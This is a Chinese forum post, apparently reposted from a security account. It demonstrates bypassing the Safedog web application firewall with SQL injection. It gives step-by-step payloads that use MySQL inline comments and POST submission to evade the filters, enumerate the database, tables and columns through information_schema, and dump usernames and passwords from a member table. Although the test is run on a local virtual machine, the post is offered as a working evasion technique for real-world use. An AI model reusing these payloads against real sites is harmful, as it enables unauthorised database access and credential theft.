本帖最后由 wholesome 于 2020-3-13 21:41 编辑
转载于Sec公众号
安全狗是让大家最头疼的安全防护软件,然后我给大家带来最新的安全狗绕过,也不知道能活多久。攻防永无止境吧。 最新版本安全狗从官网下载的,我来说一下思路。要想绕过安全狗首先你要知道,安全狗是怎么防护的,过滤的是什么。 来我们先来测试一下,我在虚拟机上面搭建了一个php+mysql的网站。 我们用常规的注入语句看下。 被拦截,先看看他拦截的是什么。只输入and试一下。 只输and没有被拦截,我在后面加了一个1就拦截了,证明他拦截的是数字。我们用注释符号测试一下 and /*!1*/=/*!1*/ 和 and /*!1*/=/*!2*/ 成功绕过安全狗拦截,我们继续同上拦截数字的原理继续order by /*!18*/查询字段数(因为我知道他原本多少字段) 正常绕过,下面我们来测试/*!union//*!select*//*!1*/,/*!2*/,/*!3*/,/*!4*/,/*!5*/,/*!6*/,/*!7*/,/*!8*/,/*!9*/,/*!10*/,/*!11*/,/*!12*/,/*!13*/,/*!14*/,/*!15*/,/*!16*/,/*!17*/,/*!18*/ 绕过但是不出数字,我们所以union select没有被执行,安全狗拦截的是select所以注释符号不可以,我们来换个思路把union select取消注释放到post提交下面id=5 and /*!1*/=/*!2*/ union select /*!1*/,/*!2*/,/*!3*/,/*!4*/,/*!5*/,/*!6*/,/*!7*/,/*!8*/,/*!9*/,/*!10*/,/*!11*/,/*!12*/,/*!13*/,/*!14*/,/*!15*/,/*!16*/,/*!17*/,/*!18*/ 已经爆出数字来,我们来测试查询数据库。(我这事本地Windows这些都清楚,我就不查了,只是思路。)
被拦截了,肯定是database(),被拦截了,把database()用注释符号试一下?and /*!1*/=/*!2*/ union select /*!1*/,/*!database/*a*/()*/,/*!3*/,/*!4*/,/*!5*/,/*!6*/,/*!7*/,/*!8*/,/*!9*/,/*!10*/,/*!11*/,/*!12*/,/*!13*/,/*!14*/,/*!15*/,/*!16*/,/*!17*/,/*!18*/ 绕过去了,我们接着试一下查询表名:and /*!1*/=/*!2*/ union select /*!1*/,/*!table_name*/,/*!3*/,/*!4*/,/*!5*/,/*!6*/,/*!7*/,/*!8*/,/*!9*/,/*!10*/,/*!11*/,/*!12*/,/*!13*/,/*!14*/,/*!15*/,/*!16*/,/*!17*/,/*!18*/ from information_schema.tables where table_schema=0x6A69616E limit 0,1 查到第二个数据库的时候就发现了yzsoumember 下面我们查列名:and /*!1*/=/*!2*/ union select /*!1*/,/*!column_name*/,/*!3*/,/*!4*/,/*!5*/,/*!6*/,/*!7*/,/*!8*/,/*!9*/,/*!10*/,/*!11*/,/*!12*/,/*!13*/,/*!14*/,/*!15*/,/*!16*/,/*!17*/,/*!18*/ from information_schema.columns where table_schema=0x6A69616E and table_name=0x797A736F756D656D626572 limit 0,1
查到了username和password 下面我们把数据爆出来吧~ and /*!1*/=/*!2*/ /*!union*/ /*!select*/ /*!1*/,/*!username*/,/*!password*/,/*!4*/,/*!5*/,/*!6*/,/*!7*/,/*!8*/,/*!9*/,/*!10*/,/*!11*/,/*!12*/,/*!13*/,/*!14*/,/*!15*/,/*!16*/,/*!17*/,/*!18*/ from jian.yzsoumember 成功拿到数据,实战因素很多,多多学习经验姿势。
|